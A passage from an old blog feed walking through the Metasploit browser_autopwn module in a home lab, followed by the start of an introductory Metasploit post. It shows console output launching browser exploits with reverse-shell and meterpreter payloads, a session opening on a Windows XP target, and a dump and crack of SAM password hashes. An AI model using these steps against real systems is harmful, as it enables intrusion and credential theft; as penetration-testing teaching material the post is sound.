http://0.0.0.0:8080/8MdK9BAs4&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*]&amp;nbsp; Local IP: http://192.168.1.4:8080/8MdK9BAs4&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Server started.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting exploit multi/browser/opera_configoverwrite with payload generic/shell_reverse_tcp&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Using URL: http://0.0.0.0:8080/pe0Vuj45dvPe&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*]&amp;nbsp; Local IP: http://192.168.1.4:8080/pe0Vuj45dvPe&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Server started.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting exploit multi/browser/opera_historysearch with payload generic/shell_reverse_tcp&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Using URL: http://0.0.0.0:8080/revy5q9w8w5N&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*]&amp;nbsp; Local IP: http://192.168.1.4:8080/revy5q9w8w5N&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Server started.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting exploit osx/browser/safari_metadata_archive with payload generic/shell_reverse_tcp&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Using URL: http://0.0.0.0:8080/DUTrhcqFOO6xs&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*]&amp;nbsp; Local IP: http://192.168.1.4:8080/DUTrhcqFOO6xs&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Server started.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting exploit windows/browser/apple_quicktime_marshaled_punk with payload windows/meterpreter/reverse_tcp&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Using URL: http://0.0.0.0:8080/5XVCWnoMqacO&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*]&amp;nbsp; Local IP: http://192.168.1.4:8080/5XVCWnoMqacO&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Server started.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting exploit windows/browser/apple_quicktime_rtsp with payload windows/meterpreter/reverse_tcp&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Using URL: http://0.0.0.0:8080/EhHMxWs57&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*]&amp;nbsp; Local IP: http://192.168.1.4:8080/EhHMxWs57&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Server started.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting exploit windows/browser/apple_quicktime_smil_debug with payload windows/meterpreter/reverse_tcp&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Using URL: http://0.0.0.0:8080/UUCTPw&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*]&amp;nbsp; Local IP: http://192.168.1.4:8080/UUCTPw&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Server started.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting exploit windows/browser/ie_createobject with payload windows/meterpreter/reverse_tcp&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Using URL: http://0.0.0.0:8080/g4qC3ja86wRx&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*]&amp;nbsp; Local IP: http://192.168.1.4:8080/g4qC3ja86wRx&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Server started.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting exploit windows/browser/ms03_020_ie_objecttype with payload windows/meterpreter/reverse_tcp&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Using URL: http://0.0.0.0:8080/B3ubMz5o&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*]&amp;nbsp; Local IP: http://192.168.1.4:8080/B3ubMz5o&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Server started.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting exploit windows/browser/ms10_018_ie_behaviors with payload windows/meterpreter/reverse_tcp&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Using URL: http://0.0.0.0:8080/VkEV5COr&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*]&amp;nbsp; Local IP: http://192.168.1.4:8080/VkEV5COr&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Server started.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting exploit windows/browser/winzip_fileview with payload windows/meterpreter/reverse_tcp&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Using URL: http://0.0.0.0:8080/gexr41obZOSD&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*]&amp;nbsp; Local IP: http://192.168.1.4:8080/gexr41obZOSD&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Server started.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting handler for windows/meterpreter/reverse_tcp on port 3333&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting handler for generic/shell_reverse_tcp on port 6666&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Started reverse handler on 192.168.1.4:3333 &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting the payload handler...&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting handler for java/meterpreter/reverse_tcp on port 7777&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Started reverse handler on 192.168.1.4:6666 &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting the payload handler...&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Started reverse handler on 192.168.1.4:7777 &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting the payload handler...&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] --- Done, found 15 exploit modules&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Using URL: http://0.0.0.0:8080/yaVpbn&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*]&amp;nbsp; Local IP: http://192.168.1.4:8080/yaVpbn&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Server started.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br /&gt;
&lt;br /&gt;
Now the open the server URL (in my case &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;http://192.168.1.4:8080/yaVpbn&lt;/span&gt;) on the target system. If it is possible, exploitation will take place, and the browser will freeze. But on your side you'll have a full access via meterpreter:&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Request '/yaVpbn' from 192.168.1.4:60674&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Request '/yaVpbn?sessid=V2luZG93czpYUDpTUDM6ZW4tdXM6eDg2Ok1TSUU6Ny4wOg%3d%3d' from 192.168.1.4:60674&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] JavaScript Report: Windows:XP:SP3:en-us:x86:MSIE:7.0:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Responding with exploits&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Handling request from 192.168.1.4:60676...&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Payload will be a Java reverse shell to 192.168.1.4:7777 from 192.168.1.4...&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Generated jar to drop (4447 bytes).&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Handling request from 192.168.1.4:60677...&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Sending Internet Explorer DHTML Behaviors Use After Free to 192.168.1.4:60676 (target: IE 7.0 (marquee))...&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Sending stage (749056 bytes) to 192.168.1.4&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Meterpreter session 1 opened (192.168.1.4:3333 -&amp;gt; 192.168.1.4:36137) at 2010-10-16 17:55:58 +1100&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Session ID 1 (192.168.1.4:3333 -&amp;gt; 192.168.1.4:36137) processing InitialAutoRunScript 'migrate -f'&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Current server process: iexplore.exe (1100)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Spawning a notepad.exe host process...&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Migrating into process ID 252&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] New server process: notepad.exe (252)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br /&gt;As you can see the browser_autopwn module have selected the same exploit we have used in the previous article (&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Internet Explorer DHTML Behaviors Use After Free&lt;/span&gt;). Let's take a look which session are available:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
msf auxiliary(browser_autopwn) &amp;gt; sessions -l&lt;br /&gt;&lt;br /&gt;Active sessions&lt;br /&gt;===============&lt;br /&gt;&lt;br /&gt;&amp;nbsp; Id&amp;nbsp; Type&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Information&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Connection&lt;br /&gt;&amp;nbsp; --&amp;nbsp; ----&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -----------&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ----------&lt;br /&gt;&amp;nbsp; 1&amp;nbsp;&amp;nbsp; meterpreter x86/win32&amp;nbsp; OFF-VULN\test @ OFF-VULN (ADMIN)&amp;nbsp; 192.168.1.4:3333 -&amp;gt; 192.168.1.4:36137&lt;/div&gt;
&lt;br /&gt;
So, we're in. Let's dump the SAM hashes:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;msf auxiliary(browser_autopwn) &amp;gt; sessions -i 1&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;[*] Starting interaction with 1...&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;meterpreter &amp;gt; hashdump&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;adm1n:1004:943822724a4e343daad3b435b51404ee:66c94dd046a6a5a48cf6cb8fb97b9ca9:::&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;HelpAssistant:1000:e315de19e2ecfd09ac944a7c45ee7894:db21e5566c18ac367534aea644650433:::&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:46cc7949aa9d8c0280b72b7b6623a9c4:::&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;test:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;�������������:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;�����:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br /&gt;
Let's decrypt the password of the user "adm1n". Open ophcrack, and select "Load"-&amp;gt;"Single hash":&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/_b8spDATDZH0/TLlOkmtqdiI/AAAAAAAAANc/hFcyRtxxTUA/s1600/hash.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="178" src="http://2.bp.blogspot.com/_b8spDATDZH0/TLlOkmtqdiI/AAAAAAAAANc/hFcyRtxxTUA/s320/hash.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Insert the hash from the data we've received and click OK. Now the hash is ready to be decrypted, so don't waste time and click "Crack". The results:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/_b8spDATDZH0/TLlPUkQFVrI/AAAAAAAAANg/aZF6y-cvvmY/s1600/decrypted.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="267" src="http://1.bp.blogspot.com/_b8spDATDZH0/TLlPUkQFVrI/AAAAAAAAANg/aZF6y-cvvmY/s320/decrypted.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
It looks like our adm1n is pretty self-assured. I won't be in his place, and at least update the system.&lt;br /&gt;
&lt;br /&gt;
Meterpreter have many other useful commands and can even be programmed via scripts. It's a powerful tool and don't forget about it during security research. Good luck!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-1837128792977406468?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/1837128792977406468/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2010/10/metasploit-browser-autopwn-module.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/1837128792977406468'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/1837128792977406468'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2010/10/metasploit-browser-autopwn-module.html' title='Metasploit Browser Autopwn module'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_b8spDATDZH0/TLlOkmtqdiI/AAAAAAAAANc/hFcyRtxxTUA/s72-c/hash.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-4242314954278908758</id><published>2010-10-15T22:54:00.001-07:00</published><updated>2010-10-15T22:56:26.944-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='mingw'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><title type='text'>Brief introduction to Metasploit</title><content type='html'>As a part of increasing IT-infrastructure security, penetration testing is one of the most valuable tools. Of course, system updates, using firewalls, IDS/IPS, right ACL and other methods are very efficient, but you can't be 100% assured that everything is fine. Security is a battle between defenders and attackers, and usually attackers are one step ahead in this battle.&lt;br /&gt;
&lt;br /&gt;
To be a good security professional, you have to know how attackers work, which tools and methods they are using, you have to be an attacker (of course, white-hat) - embrace Dark Side, but not be dominated by it and stay with Light Side.&lt;br /&gt;
&lt;br /&gt;
So, the &lt;a href="http://www.metasploit.com/"&gt;Metasploit&lt;/a&gt; is one of must-be-known tool for every security professional:&lt;br /&gt;
&lt;blockquote&gt;
Metasploit provides useful information and tools for penetration testers, security researchers, and IDS signature developers.
  This project was created to provide information on exploit techniques and to create a functional knowledgebase
  for exploit developers and security professionals. The tools and information are provided for legal security
  research and testing purposes only. &lt;/blockquote&gt;
There are many information about Metasploit in the Internet, and I strongly recommend to read&amp;nbsp; &lt;a class="ext-link" href="http://www.offensive-security.com/metasploit-unleashed/Metasploit_Unleashed_Information_Security_Training"&gt;&lt;span class="icon"&gt;&lt;/span&gt;Metasploit Unleashed&lt;/a&gt;. Here I only want to briefly show its usage.&lt;br /&gt;
&lt;br /&gt;
Download the Metasploit Framework: &lt;a href="http://www.metasploit.com/framework/download/"&gt;http://www.metasploit.com/framework/download/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
No additional packages are required. Ruby and RoR are included in the installer. &lt;br /&gt;
&lt;br /&gt;
The main tool which you will use - the console: &lt;b&gt;msfconsole&lt;/b&gt;. Please notice that if you've selected autoupdate from SVN, the console launch time can be pretty long (autoupdate runs during starting up the console).&lt;br /&gt;
&lt;br /&gt;
The main principle of Metasploit usage:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;select exploit which will be used to breach the system;&lt;/li&gt;
&lt;li&gt;select payload which will be executed after the breaking in;&lt;/li&gt;
&lt;li&gt;set up the additional parameters if needed and exploit the target.&lt;/li&gt;
&lt;/ul&gt;
Exploitation can be direct (e.g., using SMB vulnerability and attacking system via network) and indirect (e.g., Metasploit generates the "site" and show you a link, after that you have to somehow bring target to open the link). Direct exploitations are widely discussed in the Internet, and I'll show the indirect exploitation.&lt;br /&gt;
&lt;br /&gt;
